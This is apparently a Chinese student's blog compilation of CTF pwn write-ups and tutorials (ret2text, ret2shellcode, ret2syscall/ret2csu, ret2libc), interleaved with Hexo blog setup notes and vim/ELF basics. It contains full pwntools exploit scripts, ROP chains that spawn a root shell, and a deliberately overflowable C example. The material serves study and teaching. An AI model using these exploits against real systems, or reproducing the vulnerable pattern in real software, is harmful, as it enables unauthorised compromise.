print('__libc_start_main_libc',hex(libc_start_main_libc))
open_libc=elo.symbols['open']
print('open_libc',hex(open_libc))
setuid_libc=elo.symbols['setuid']

#通过链接libc库从而找到暴露的函数的偏移量,以及需要的函数的偏移量

pop_rdi_ret_libc=0x2a3e5
pop_rsi_ret_libc=0x2be51
pop_rbp_ret_libc=0x2a2e0
pop_rdx_pop_r12_ret_libc=0x11f2e7
#在库中找到的pop指令,便于payload的使用


base_libc=libc_start_main-libc_start_main_libc
print('base_libc',hex(base_libc))
open = open_libc+base_libc
print('open: ',hex(open))

pop_rdi_ret=pop_rdi_ret_libc+base_libc
pop_rsi_ret=pop_rsi_ret_libc+base_libc
pop_rbp_ret=pop_rbp_ret_libc+base_libc
pop_rdx_pop_r12_ret=pop_rdx_pop_r12_ret_libc+base_libc
#确定真实地址

p.sendlineafter(b'maimai?\n',b'0')

p.sendlineafter(b'Select a option:\n',b'2')

p.sendlineafter(b'nickname.\n',b'%8$p')
p.recvuntil('0x')
zhan=int(p.recv(12),16)
print('zhen: ',hex(zhan))
flag=zhan-0x70
print('flag: ',hex(flag))
#为了暴露程序指令的真实地址

p.sendlineafter(b'maimai?\n',b'0')

p.sendlineafter(b'Select a option:\n',b'2')

p.sendlineafter(b'nickname.\n',b'%9$p')
p.recvuntil('0x')
cx_libc=int(p.recv(12),16)
print('cx_libc: ',hex(cx_libc))

cx_base=cx_libc-0x1b25
print('cx_base: ',hex(cx_base))
#暴露栈地址(这个和上面那个其实都可以不要)

syscall = base_libc + 0x0000000000091316
pop_rax = base_libc + 0x0000000000045eb0

read_cx=0x1150
puts_cx=0x1110
bss_cx=0x5070
leave_cx=0x19E8
main_cx=0x1984
main=main_cx+cx_base
leave=leave_cx+cx_base

exe = base_libc + 0xebc8
puts = cx_base + 0x4FB0
str = base_libc + next(elo.search(bytes('/bin/sh', 'utf-8')))
sys_ = base_libc + elo.symbols['system']
ret = base_libc + 0x29139


print('leqave: ',hex(leave))
read_plt=read_cx+cx_base
print('read_plt: ',hex(read_plt))
puts_plt=puts_cx+cx_base
print('puts_plt: ',hex(puts_plt))
bss=bss_cx+cx_base
print('bss: ',hex(bss))

setuid_libc=elo.symbols['setuid']
setuid=setuid_libc+base_libc
#cat os.setuid(0)
#获得setuid函数的地址

payload=b'A'*0x28+p64(canary)+p64(0)
#栈溢出的基本准备,从输入到canary的长度的垃圾数据+canary的值+覆盖ebp的8字节垃圾数据

payload += flat(ret,pop_rdi_ret,0,setuid,pop_rdi_ret, str, ret,sys_)
#以此在栈溢出后先执行setuid(0),然后在执行system(/bin/sh)然后获得root级shell,便可以直接用cat flag将flag读出来

p.sendafter(b'maimai?\n',payload)
p.interactive()



终于写完关于这道题的wp,虽然有的地方比较省,不过那些都是一些比较基本的东西,应该都能看懂的吧。

做了一天,wp一天,所幸还是有所收获,这就好,前途漫漫亦灿灿。

image-20240328214024472

博客之痛

历时三天终于把这个破博客给搭出来了

地址:纲的blog (2023478.github.io)

image-20240327213022031image-20240327213044821

已算是把之前最开始进实验室叫搭博客,用了其他人的服务器直接整了一个从而混过去的债给还上了

不过这博客搭起来是真的麻烦,前前后后花了3天的晚上才整好(白天上课加玩去了)

这次整的博客用的主体是hexo+github整的一个静态博客,不得不说这个静态博客确实不如之前找同学整的那个动态的好,发文章也麻烦,问题还一大推,是真的烦。所幸最终还是把大概的给整出来了,也还算可以。

就用这遍文章将遇到大概写一下吧,当然主要还是将那些大佬的文章记录一下。

2.关于图片没有办法显示的

hexo博客如何插入图片 - 知乎 (zhihu.com)

这个是大佬,我用这个办法一下就成

3.关于换主题的

hexo博客换主题 - 知乎 (zhihu.com)

这个也是一遍好文,我当时想直接通过,命令下,不过不成,就直接下压缩包,解压le

4.关于搭博客的基本

这个有很多了就不多写,放几篇好一点的

这可能是迄今为止最全的hexo博客搭建教程-腾讯云开发者社区-腾讯云 (tencent.com)

使用 Hexo+GitHub 搭建个人免费博客教程(小白向) - 知乎 (zhihu.com)

5.关于第一次无法上传到github

这个真的是个大麻烦,当时怎么整都没有传上去,最后在有篇文章的评论里找到(真的离谱)

使用 Hexo+GitHub 搭建个人免费博客教程(小白向) - 知乎 (zhihu.com)

image-20240327220751938

好了这篇文章到这里差不多就结束了,如果以后再遇到问题,就在更这篇文章,

不过我的博客好像有点简陋,ε=(´ο`*)))唉,先不管,等以后有时间再慢慢整,

image-20240327221055613痛,太痛了

image-20240327221127889

好家伙,刚刚准备将这篇文章上传,然后准备润,就给我来了个大的,痛,痛,痛

image-20240327221350554

行吧,在将这个问题解决一下,像这种一看就是在文章的开头写基本信息那出问题了,一般不是空格,就是英文符号整成中文的了,改吧,真的麻烦。所以关于这些空格和英文符号得好好整。啊!啊!第二次才改好。痛,痛,痛。

image-20240327221849389

hexo基操

常用指令和发布文章

  • 常用指令
1
2
3
4
5
hexo new "postName"        //新建文章
hexo new page "pageName" //新建页面
hexo g //生成静态页面至public目录
hexo server //开启预览访问端口(默认端口4000,'ctrl + c'关闭server)
hexo deploy //将.deploy目录部署到GitHub

复制

  • 常用组合
1
2
3
4
5
6
hexo clean
hexo g
hexo d
hexo d -g #生成部署
hexo s -g #生成预览
hexo clean && hexo g && hexo d

复制

  • 发布文章

终端cdblog文件夹下,执行如下命令新建文章:

1
hexo new "xxx"

复制

名为xxx.md的文件会建在目录.../blog/source/_posts下。

所有的文章都会以md形式保存在_post文件夹中,只要在_post文件夹中新建md类型的文档,就能在执行hexo g的时候被渲染。新建的文章头需要添加一些信息,如下所示:(注意空格)

1
2
3
4
5
6
---
title: xxx //在此处添加你的标题。
date: 2016-10-07 13:38:49 //在此处输入编辑这篇文章的时间。
tags: xxx //在此处输入这篇文章的标签。
categories: xxx //在此处输入这篇文章的分类。
---

复制

文章编辑完成后,终端cdblog文件夹下,依次执行如下命令来发布:

1
2
hexo g
hexo d

在使用git命令中器粘贴快捷键为shift+insert

image-20240327212407451

可以通过按鼠标左键的open git bash here召唤命令

这可能是迄今为止最全的hexo博客搭建教程-腾讯云开发者社区-腾讯云 (tencent.com)

image-20240327211652140

pwn 一些题详解

#ret2text

主要分为32位的和64位的不同程序,在做法是有不同的对应方法与

在一开始都要先在linux中先确定程序使用了那些保护方式与结构类型

1
checksec 文件名

![屏幕截图 2023-11-28 173641](wp/屏幕截图 2023-11-28 173641-17115444455564.png)

![屏幕截图 2023-11-28 173737](wp/屏幕截图 2023-11-28 173737.png)

1,无论是32位还是64位都要首先确定栈溢出时要填充多少个垃圾数据,有两种方法,ida和动调

ida(在特定的环境下可能不对以动调的为主):直接看所要溢出的那个栈在ida上与ebp的距离就是我们一开始要填从的数据的大小,注意在ida上显示的是16进制的数,在写脚本是要转化为10进制的数才能正确,如图要向buf中填充0x12(18)的数据才算覆盖到ebp的位置
![屏幕截图 2023-11-27 204046][wp/屏幕截图 2023-11-27 204046.png]![屏幕截图 2023-11-27 204046](wp/屏幕截图 2023-11-27 204046.png)

动调:gdb+可执行文件的名称,在运行到输入数据是输入较亮眼的数据,在之后看esp和ebp的距离,是为要注入的数据长。

现在注入的数据到达ebp所指向的地方但并没用完,由于栈的特点此时我们
还需要向其中再注入一段数据用于覆盖ebp所指向的地址,并且这段数据在不同系统中有不同的长度,在64位系统中要输入8个长度的数据,在32位系统中要输如4个长度的数据
以上的垃圾数据长度为一个字节(一个大写字母),用如下传递

1
b'A'*长度的大小

在确定垃圾数据的长度后在注入的数据便是之后程序要跳转执行的地方,在当下的情况下要让程序能执行system(/bin/sh)以获得控制权,如果在程序中有这个完整的函数,则在垃圾数据之后直接输入该函数的地址跳转到那执行就行,无论是32位还是64位都这样。函数的地址在ida中获得,用如下传递

1
2
p32(0x地址数字)用于32位系统
p64(0x地址数据)用于64位系统

函数传参
在很多情况下程序中并不会直接有system(/bin/sh)这个函数,而是将这system和/bin/sh放在不同的地方,需要我们将这两个同过地址的连在一起,用于执行,而此处32为系统与64为系统便是完全不同的方式进行,分开论述。

32位系统pit
在将垃圾数据输入进去之后直接输入到system函所在的地址(切记要输入的是该函数在plt段的地址,不能是text段的地址)
此时当程序执行到这里时会直接进入该函数的内部此时我们只要再输入字符串(/bin/sh)的位置程序便会执行该函数,但在输入字符串之前还要输入一个0

1
2
payload=b'A'*垃圾数据的长度+p32(plt段的system的地址)
+p32(0)+p32(.data段的/bin/sh的地址)

关于0的加入:
对于本题的函数传参,我们的栈帧构造初步想法如图

ebp ‘aaaa’
r return to func
参数一 “/bin/sh”
输入适量垃圾填充 padding * b ‘a’
覆盖返回地址指向func函数 p32(ret_addr)
参数”/bin/sh”地址
则payload = padding*b’a’ + p32(ret_addr) + p32(sh_addr)

然而这样的脚本在攻击时会出错。原因在于:

正常的函数调用call来达到push eip;jmp的作用,经过初步payload构造的攻击如下图所示,是通过覆盖return达到jmp的作用的,并没有像call一样push eip到栈中。
38e10a9971624ec18cd2d549954ca408.png38e10a9971624ec18cd2d549954ca408
故而ret执行后,ebp后为我们输入的参数而非eip原地址(函数结束后返回的地址),而函数读取参数的位置在上文中已经展示,为 ebp+0x8。故而在利用ret2text覆盖pwn题时候,需要自行加入一行栈帧的填充。
701953734d034bbe98efac9dc5c6f836.png701953734d034bbe98efac9dc5c6f836
64位系统
在64位的中在将垃圾数据写入之后,我们要将/bin/sh这段数据先写入到一个寄存器中然后将这个寄存器导入到函数中程序才能·执行
于是要做的第一步就是找到一个寄存器并修改其中的值,使用

1
ROPgadget --binary 文件名 --only 'pop|ret'

屏幕截图 2023-11-28 195354.png![屏幕截图 2023-11-28 195354](wp/屏幕截图 2023-11-28 195354.png)
通过这个我们可以找的程序中可以给我们使用·修改寄存器的命令的地址
在这里我们只用传一段函数于是只要用pop rdi;ret一个指令将rdi中的值修改,然后便是在栈中放入‘bin/sh’经由pop提交给rdi,最后便是填system的地址(在这里要填入的不能是plt段的system函数的地址,要填的是.data段中的call system的地址,因为在之前将/bin/sh的地址填入其中从而导入rdi中,如果要rdi中的数据能进入system中则要用call system,将rdi中值导入system然后在执行该函数)

1
2
payload=b'A'*垃圾数据的长度+p64(pop|ret的地址)+
p64(.data段中的/bin/sh的地址)+p64(.data段中的call system的地址)

#ret2shellcode
在这一类题中不会出现system和/bin/sh这种直接可以用来控制的函数,但程序中有一部分是可读可写可执行的部分,这一部分在程序中是很危险的一部分,一旦出现这种地方,同时含有栈溢出,便可以在通过栈溢出之后使程序跳到那部分可读可写可执行的部分,我们在往里面输入我们shellcode(意为一段恶意程序,通过执行这一段恶意程序,获得控制权)

关于可读可写可执行段的查找可以在gdb调式程序的过程中用vmmap指令查找
屏幕截图 2023-11-30 143610.png![屏幕截图 2023-11-30 143610](wp/屏幕截图 2023-11-30 143610.png)
如图便可以查找到从0x601000到0x602000是可读可写可执行(一下称为rwx)的程序,我们便可以将shellcode写入到这段程序

有的时候这个程序不一定在一开始写的时候便有rwx段程序,但在执行时会因为那个指令出现rwx段程序,如

1
mprotect(0x601000,0x100,PROT_READ | PROT_WRITE | PROT_EXEC);

这个指令将0x601000之后的0x100段数据都改为rwx程序于是我们便可以想这段之中写入我们的shellcode,在通过栈溢出使他执行这一段程序。

shellcode
一段恶意程序,可以在pwntools中获得比较简单的一些,执行

1
2
shellcraft.sh()//默认为32位的如果要64位执行下面这个
shellcraft.amd64.sh()//

屏幕截图 2023-11-30 145900.png![屏幕截图 2023-11-30 145900](wp/屏幕截图 2023-11-30 145900.png)
此时我们获得不过是汇编语言不能直接传入程序中,必须将它换为机器语言传入才能穿入成功

1
2
asm(shellcraft.sh())
这样输出的便是机器语言的shellcode,直接传入其中便可以使用

在64位的是可能会因为其环境默认为32位的而出现问题可以通过如下修改
屏幕截图 2023-11-30 150708.png![屏幕截图 2023-11-30 150708](wp/屏幕截图 2023-11-30 150708.png)

例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include<stdio.h>
#include<string.h>
#include <sys/mman.h>
#define _GNU_SOURCE

//gcc poc.c -o poc -no-pie -fno-stack-protector
char shellcode[100];
void initt()
{
setvbuf(stdin, 0LL, 1, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
return setvbuf(stderr, 0LL, 1, 0LL);
}
void pwnn()
{
char a[10];
puts("please pwn me!!!");
read(0,a,0x20);
}
void InputName()
{
puts("inputs you name");
read(0,shellcode,100);
mprotect(0x601000,0x100,PROT_READ | PROT_WRITE | PROT_EXEC);
}
int main()
{
initt();
InputName();
pwnn();

}

在这段程序中先执行InputName函数,在这个函数中,同构read向shellcode中可以输入最长100字节的数据,然后我们会发现他将0x601000之后100的数据改为rwx段,在ida中正好可以看到shellcode段的数据刚好在这其中,我们便可以通过这个向其中输入shellcode,在pwnn这个函数中正好有栈溢出的存在,
于是便可以先通过InputName函数输入shellcode然后再pwnn中栈溢出指向
shellcode的地址
攻击如下

1
2
3
4
5
6
7
8
9
10
from pwn import *
io=process("./poc")
context.arch = "amd64"//更改环境
bss=0x6010A0//shellcode的地址
payload=b'A'*24+p64(bss)//溢出并指向地址
binsh=asm(shellcraft.amd64.sh())构建shellcode
io.send(binsh)//先将shellcode传入rwx段中
io.recv()//由于是两段输入中间一个做间隔
io.send(payload)//进行栈溢出
io.interactive()//交互

在这一类题中有一个必须注意的事,shellcraft注入的地方最好是bss区,在这题中便是注入到bss区中的,虽然可以注入到栈上但栈上的保护过多最好不要注入到栈中

#ret2syscall
来吧趁今天有点时间把欠了一个星期的博客给补了
syscall相当于是一个系统中的命令,可以在与其他寄存器相配合的情况下完成系统调令,在程序没有system和/bin/sh时使用。
在系统中要取得控制权常用的方法是执行system(/bin/sh)指令,但很多情况下程序是一般不会有这个指令的,此时便可以看是不是可以通过向rwx段注入shellcode来获得控制权,但程序一般也不会有这种地方此时便可以开始考虑ret2syscall的方法,但这种方法夜有很大的局限性,一般只能在静态链接中使用,很少在动态链接中使用,虽然也不是不可以(之后便会讲一题用动态链接的题虽然在一定程度上那题可以算ret2csu的题但本质上还算用syscall可以做的题),

ret2syscall的本质就是让部分寄存器中的值变为特殊值从而使程序执行一个系统调令

1
2
3
4
5
6
mov eax rax, 0xb 0x3b
mov ebx rdi, [“/bin/sh”]
mov ecx rsi, 0
mov edx rdx, 0
int 0x80 syscall
=> execve("/bin/sh",NULL,NULL)

在静态链接中,在系统内核中的execve(“/bin/sh”,NULL,NULL)这个函数可以获得控制权,但由于他是内核函数,所以,在调用它时必须满足一些必要的调用约定才可以进行调用,

像这些系统内核函数调用必须使用一些特殊的汇编指令才能调用,如int 80(32位)和syscall(64位)就像一个call函数,但是是跳转到内核系统中,至于要跳到哪个函数则要根据之前部分寄存器的值来确定,eax(32)和rax(64)保存了系统调用号(内核函数在内核中都有独属于自己一个调用号,如execve的调用号为11(32位=0xb),59(64位=0x3b)),ebx和rdi用来保存在函数中执行的参数的地址,同时要保证ecx,edx和rsi,rdx中的值都为0。

大致就是这个但现在我们要面临的问题是如何修改寄存器中的值,这个有一个很好的方法。可以在终端中运行rop便可以找到程序中的可以帮我们修改寄存器的指令

1
ROPgadget --binary 文件名 --only "pop|ret"

屏幕截图 2023-12-09 160956.png![屏幕截图 2023-12-09 160956](wp/屏幕截图 2023-12-09 160956.png)

如此便可以查看在程序中有那些可以供我们去修改寄存器的命令(像这种用于修改寄存器的指令一般被称为gadget),我们只要在栈溢出的垃圾值后面加入这些指令,pop+寄存器的意思是将此时栈上的值取出放入寄存器中,ret的作用是返回栈中,回到我们自己的指令去继续执行我们的指令,而要放入寄存器中的值则只要放在这个指令地址的后面,在程序执行时会将这个指令的后面的那个值作为出栈的数据放入寄存器中。需要注意的是在命令中可能不止一个寄存器,此时我们变要将每一个寄存器的值都改变,便在寄存器命令后面以此放上要放入寄存器的值,如

1
2
3
4
0x0000000000405b44 : pop rbx ; pop rbp ; pop r12 ; pop r13 ; ret
这是用上面的那个指令运行后出现的一行数据
我们的利用
p32(0x0000000000405b44)+p32(2)+p32(0)+p32(9)+p32(0x3d)

如此当被我们劫持的程序执行到这里时,便会依次将2,0,9,0x3d这四个数据分别放入rbx,rbp,r12,r13这四个寄存器中,然后ret会将程序返回到原本的指令中。

有了以上的分析其实像这种题的过程便可以很清晰的出来了,
32位程序:
先输入垃圾数据然后,寻找足够的gadget将eax的值改为0xb,ebx改为‘/bin/sh’的地址(有的程序中会没有这个数据,但可以自己输入,在之后的题便是这种,到时候细讲)ecx改为0,edx改为0。
在这4个寄存器的值都改好后便可以执行int 0x80这个指令,获得控制权·
64位程序:
先输入垃圾数据然后,寻找足够的gadget将rax的值改为0x3b,rbi改为‘/bin/sh’的地址(有的程序中会没有这个数据,但可以自己输入,在之后的题便是这种,到时候细讲)rsi改为0,rdx改为0。
在这4个寄存器的值都改好后便可以执行syscall这个指令,获得控制权·

如上便是ret2syscall这类题的做法,其实细看回事有很大的限制在其中
1,要有足够将4个寄存器都修改的gadget,这一点便基本将动态链接给淘汰了,在大部分的动态链接中是没有足够多的gadget给我们使用的,只用静态链接中才会有足够时的gadget
2,在程序中必须有int 0x80(32位程序)或syscall(64位程序)指令

现在便拿出一道方法用的是ret2syscall但其中用了ret2csu的思想的一道动态链接的64位程序的(神奇)题

老样子先用checksec查看程序的保护(这道题是学长给的,在一开始题目就是ret2syscall虽然我一度怀疑题目错了,但最后确实没错,在后面为了好输入我改成poc)
屏幕截图 2023-12-09 170220.png![屏幕截图 2023-12-09 170220](wp/屏幕截图 2023-12-09 170220.png)
没什么特别的那就直接开整吧,

既然是ret2syscall那就找gadget,这里便是我懵逼的第一个地方,如此少的gadget,只能找到修改rdi和rsi的指令器外两个寄存器的值该怎么改?(拿命改),
屏幕截图 2023-12-09 171431.png![屏幕截图 2023-12-09 171431](wp/屏幕截图 2023-12-09 171431.png)

先不管将程序放入64位的ida中
屏幕截图 2023-12-09 172045.png![屏幕截图 2023-12-09 172045](wp/屏幕截图 2023-12-09 172045.png)
果然,一看左边这么少的函数就知道是个动态链接的程序,
返回到汇编的窗口仔细一找woc居然有syscall指令
屏幕截图 2023-12-09 172639.png![屏幕截图 2023-12-09 172639](wp/屏幕截图 2023-12-09 172639.png)
but在参数一栏找发现没有/bin/sh
屏幕截图 2023-12-09 172745.png![屏幕截图 2023-12-09 172745](wp/屏幕截图 2023-12-09 172745.png)
这便是我疑惑的第2个地方,后来问了学长才知道,在主程序中有gets函数便可以在劫持程序后利用gets函数将/bin/sh这个字符串输入到bss段中的空地址中,然后再调用。

好到现在来总结一下,我们能使用的有
syscall命令,
rdi和rsi寄存器,
用gets函数输入/bin/sh,
如果不考虑ret2libc的话,还差rax和rdx寄存器的改变

此时一个重要的思想出来,在程序中的__libc_csu_init函数,能有大用,改变某些寄存器的作用
这便是ret2csu的思想,将程序导入__libc_csu_init函数中从而改变一些gadget不能改变的寄存器的值
屏幕截图 2023-12-09 192250.png![屏幕截图 2023-12-09 192250](wp/屏幕截图 2023-12-09 192250.png)
在这里便可以先让程序执行0x4012DA地址的指令,修改rbx,rbp,r12,r13,r14,r15寄存器的值,然后在使程序执行0x4012C0地址的指令,从而修改rdx,rsi,edi的值(虽然是edi不是rdi,但是也可以相当于改变rdi,一般用不到前面的位数改变后面的足够了)最后的call可以直接跳转到一个函数出执行(这里有一个大坑,后面慢慢讲)

到了此时便只差rax的值不能改变,在程序中慢慢找看看能不能找到可以改变的地方
屏幕截图 2023-12-09 194646.png![屏幕截图 2023-12-09 194646](wp/屏幕截图 2023-12-09 194646.png)
好,找到了,在0x40119e及后面的指令在利用后刚好能将edi中的值传输到eax中(在64为系统中主用的是r开头的寄存器,e开头寄存器就是r开头的寄存器的后半部分,大部分情况下,r开头的寄存器前半部分的值用不到的,e的改变足够用),在这里还有一个很重要的点,我们是先将edi的值传进[rbp+var_4],在将[rbp+var_4]传进eax中,于是我们必须要保证[rbp+var_4]中的值是一个空但有限的地址,在bss段中选择。(var_4在前面有定义,但不用管比较小,只要保证rbp中的地址空并且有效就行)

由于本题中需要用到的空地址有点多,先讲一下空地址的选择
由于我们在调用gets函数需要向空地址写入数据,便要找到一个可写的地址,而bss段便是一个可写的地方,我们可以通过gdb调试中寻找在gdb调试进入程序后输入

1
vmmap

命令便可以看到每一段地址对应的能力,然后在确认好地址后用如下命令查看地址对应的存放情况

1
x/20gx 地址名//20代表的是从该地址往后的20字节的地址都显示出来

屏幕截图 2023-12-09 201100.png![屏幕截图 2023-12-09 201100](wp/屏幕截图 2023-12-09 201100.png)
如此便可以确认这个地址是一个可写的空的有效的地址

如此我们便可以将这个题的全部思路写出来,在一开始直接向程序中输入24个垃圾字节数据进行栈溢出,用于劫持程序,然后利用gets函数输入/bin/sh字符串,
在这里会出现一个事情,我们要向一个特定地址输入字符,而gets函数的原型是

1
char *gets(char *str);

于是在执行gets函数中时便会向先调用rdi寄存器(rdi为最常用的通用寄存器)中的值作为函数输入的值的存放地址,
于是我们便要向rdi赋一个空地址,然后才调用gets函数

1
payload=b'A'*24+p64(pop_rdi_ret)+p64(0x404480)+p64(gets)//get地址为plt段的地址,0x404480空地址

然后程序便等待输入,输入的过程可以在后面重新开一个新的payload2用于输入数据

在输入完成后开始对其他寄存器的值开始改变,先改变rax中的值为0x3b,将rdi中的值改变为0x3b,然后将rbp赋值为一个空地址为是程序执行下去,在程序后面还要在加一个空地址用于解决pop rbp指令

1
payload+=p64(pop_rdi_ret)+p64(0x3b)+p64(pop_rbp_ret)+p64(0x404680)+p64(edi_eax)+p64(0x404580)//两个地址都是空地址,edi_eax是指令的开始

现在rax的值已经改为0x3b,然后将r12,r13,r14,r15改为/bin/sh的地址,0,0,call要调转的地方。然后再执行mov的指令

1
call    ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]

这里有一个特殊的地方,call的跳转并不会直接跳转到那个指令的地址,然后执行,而是会将[r15+rbx*8]的地址所存放的地址先读取了,跳转到那个地址然后执行,所以在gets函数输入处不只要/bin/sh还要syscall指令的地址,然后在让call的调转到gets函数输入的syscall指令的地址,

1
2
3
4
payload+=p64(pop_r12_pop_r13_pop_r14_pop_r15_ret)
payload+=p64(0x404480)+p64(0)+p64(0)+p64(0x404488)+p64(0x4012C0)
//0x4012C0是mov的指令,0x404488是syscall指令地址存放的地址,
//0x404480是/bin/sh存放的地址

第一个payload构造完成
开始构造第二个payload2,

1
2
3
payload2=b'/bin/sh\x00'+p64(syscall)
///bin/sh\x00刚好有8个字节于是再后面syscall的指令,
//刚好是放在/bin/sh的地址加8位后,

好,给出完整的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
#context(log_level='debug')
io=process("./poc")
io.recv()
pop_rbp_ret=0x40117d
syscall=0x4011ae
pop_rsi_pop_r15_ret=0x4012e1
pop_rdi_ret=0x4012e3
ret=0x40101a
pop_r13_pop_r14_pop_r15_ret=0x4012de
syscall=0x4011ae
edi_eax=0x40119E
main=0x401223
gets=0x401090
getplt=0x404028
pop_r12_pop_r13_pop_r14_pop_r15_ret=0x4012dc
payload=b'A'*24+p64(pop_rdi_ret)+p64(0x404480)+p64(gets)
payload+=p64(pop_rdi_ret)+p64(0x3b)+p64(pop_rbp_ret)+p64(0x404680)+
p64(edi_eax)+p64(0x404580)+p64(pop_r12_pop_r13_pop_r14_pop_r15_ret)
+p64(0x404480)+p64(0)+p64(0)
payload+=p64(0x404488)+p64(0x4012C0)
payload2=b'/bin/sh\x00'
payload2+=p64(syscall)
#gdb.attach(io,'b *0x4012C0')
#pause()
io.sendline(payload)//第一次传入

io.sendline(payload2)第二次传入

io.interactive()

#ret2libc
在这里将之间讲述无system和无/bin/sh的情况将32位与64位分开讲述

32位
在这类题中一般是动态链接很多操作都不能执行
更多的知识不多讲直接将做题的过程
对于这种题我们一般可以先调用可已打印东西的函数,如puts的函数将got中谋个函数的地址答应出来,根据动态链接的延迟绑定规定,在第一次调用某个函数之后其在动态链接库中的地址将被写入got表中,我们便可以同过put等打印数据的函数将其打印出来地址,这个地址便是该函数在动态链接库中对应的地址,在题中有很大的可能这个地址是一个变化中的地址,这是系统的一种保护操作,但是一般答应出来的后3位(16进制的数)是不会变的,而我们便可以将这后3位的地址用于判断其动态链接库的类型,

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
from LibcSearcher import LibcSearcher//这个可用于自动寻找库,不过可能有点老,反正我没有用这个成功过
io=process('./文件名')
puts_plt=0x00000//puts在plt段的地址,可以直接在ida中找也可以用链接文件后直接用程序找
main=0x00000//main函数在text段中的地址,用于在打印地址后返回main从新开始执行
libc_start_main=0x000000000//got段中的libc_start_main的地址,在第一次调用后会有真实地址,打印出来
payload=b'A'*22+p32(put_plt)+p32(main)+p32(libc_start_main)
//32位的函数调用特点,间隔一个放参数。
io.recvuntil("\n")//可用可不用,关键根据当时的情况来加入,括号内是程序的输出
libcaddr=u32(io.recv(4))
//用于接收用puts函数打印出来的__libc_start_main函数的真实地址

在有libc_start_main函数的真实地址后,可以在网上查找函数的偏移地址
屏幕截图 2023-12-09 220543.png![屏幕截图 2023-12-09 220543](wp/屏幕截图 2023-12-09 220543.png)
一般来说真实地址的值会因为保护程序的存在而使中间的地址被随机化,但最后的3位(16进制)不会被改变,便可以通过后3位查到偏移量,
程序的基本地址=__libc_start_main函数的真实地址-__libc_start_main函数的偏移量
system函数的真实地址=程序的基本地址+system函数的偏移量
str_bin_sh函数的真实地址=程序的基本地址+str_bin_sh函数的偏移量

然后调用system函数利用str_bin_sh函数,便也可以获得控制权,

1
2
3
4
5
6
7
8
9
10
11
12
__libc_start_main=0x000//__libc_start_main函数的偏移地址
system=0x00000//system函数的偏移地址,
str_bin_sh=0x000//__libc_start_main函数的偏移地址
以上这三个的数值由网上查阅
libcbase_addr=libcaddr-__libc_start_main
system_addr=libcbase_addr+system
binsh_addr=libcbase_addr+str_bin_sh
payload2 = b'A'*22 + p32(sys_addr) + b'AAAA' + p32(binsh_addr)
//这里中间的数为了平衡栈顶要在中间加上4字节的垃圾数据
io.sendline(payload2)
io.interactive()

如果要使用LibcSearcher来用着要在要在前面加上

1
from LibcSearcher import *

pwn基操

一vim

vim是我们在使用Linux是经常会使用的工具,新手总是忘记使用方法(当然我也是)。在这里记录下常用命令以防止以后再忘记

1,进入编辑模式: i (在当前位置插入,开始编辑);

2,保存编辑文本: :w (英文冒号,保存当前编辑的文件);

3,退出编辑文件: :q(英文冒号,退出当前编辑的文件);

4,保存并退出: :wq (英文冒号,保存并退出当前编辑的文件);

5.强制退出: :q! (英文冒号,强制退出不保存)。

.在vim命令行下输入from

1
6,:%!xxd

“%!”为调用第三方操作对vim内容进行操作,如 :%!tr a-z A-Z 把全文小写字母改成大写。
xxd 命令可以为给定的标准输入或者文件做一次十六进制的输出,它也可以将十六进制输出转换为原来的二进制格式,即将任意文件转换为十六进制或二进制形式。

所以,使用命令之后,会把文档改成十六进制显示。

1
7,:%!xxd -r

xxd -r 逆向操作:把十六进制转储转换成二进制形式。如果不输出到标准输出,xxd并不把输出文件截断,而是直接写到输出文件。

9,file+文件名,用于识变文件是什么类型的文件,(与文件的后缀无关),同时也通过这个判断是什么文件x32,x64

1
2
wzg@wzg-virtual-machine:~$ file text.c
text.c: C source, ASCII text

10,text.c是一个C语言源代码,ascll编码的文本

11,rm+文件名,删除那个文件

12,gcc -S 文件名,可以将文件改为汇编语言文件

13,checksec +文件名,查看文件是否有保护程序

![屏幕截图 2023-11-24 205006](博客\屏幕截图 2023-11-24 205006.png)

PIE:•程序的防护措施,

编译时生效,随机化ELF文件的映射地址,

开启 ASLR 之后,PIE 才会生效。

NX•程序与操作系统的防护措施,编译时决定是否生效,由操作系统实现,

通过在内存页的标识中增加“执行”位, 可以表示该内存页是否可以执行, 若程序代码的 EIP 执行至不可运行的内存页, 则 CPU 将直接拒绝执行“指令”造成程序崩溃。

canary:•程序的防护措施,编译时生效

•在刚进入函数时,在栈上放置一个标志canary,在函数返回时检测其是否被改变。以达到防护栈溢出的目的,*.canary长度为1字长,其位置不一-/14578定与ebp/rbp存储的位置相邻,具体得看程序的汇编操作。

RELRO:•程序的防护措施,编译时生效

•部分 RELRO: 在程序装入后, 将其中一些段(如.dynamic)标记为只读, 防止程序的一些重定位信息被修改

•完全 RELRO: 在部分 RELRO 的基础上, 在程序装入时, 直接解析完所有符号并填入对应的值, 此时所有的 GOT 表项都已初始化, 且不装入link_map与_dl_runtime_resolve的地址。

![屏幕截图 2023-11-18 193922](博客\屏幕截图 2023-11-18 193922.png)

可执行文件

广义:文件中的数据是可执行代码的文件.out、.exe、.sh、.py

狭义:文件中的数据是机器码的文件.out、.exe、.dll、.so

分类:

Windows:PE(Portable Executable)可执行程序.exe动态链接库.dll静态链接库.lib

Linux:ELF(Executable and Linkable Format)可执行程序.out动态链接库.so静态链接库.a

image-20231118202418867

•ELF文件头表(ELF header)

•记录了ELF文件的组织结构

给系统看

•程序头表/段表(Program header table)

•告诉系统如何创建进程

•生成进程的可执行文件必须拥有此结构

•重定位文件不一定需要

•节头表(Section header table)//用来组织elf文件春村

•记录了ELF文件的节区信息

•用于链接的目标文件必须拥有此结构

其它类型目标文件不一定

•代码段(Text segment)包含了代码与只读数据

•.text 节//

•.rodata 节

•.hash 节

•.dynsym 节

•.dynstr 节

•.plt 节//

•.rel.got 节

•……

•数据段(Data segment)包含了可读可写数据

•.data 节

•.dynamic 节

•.got 节

•.got.plt 节//用于保存plt节中的代码解析到实际的动态连接的函数的地址

•.bss 节//只在内存中占空间不在磁盘中占有空间

•……

•栈段(Stack segment)

![屏幕截图 2023-11-19 102459](博客\屏幕截图 2023-11-19 102459.png)

kemel,内核

starck堆栈

shared libraries,共享库

heap堆,动态存储区,malloc在程序执行后才有的空间在其中

unused未使用

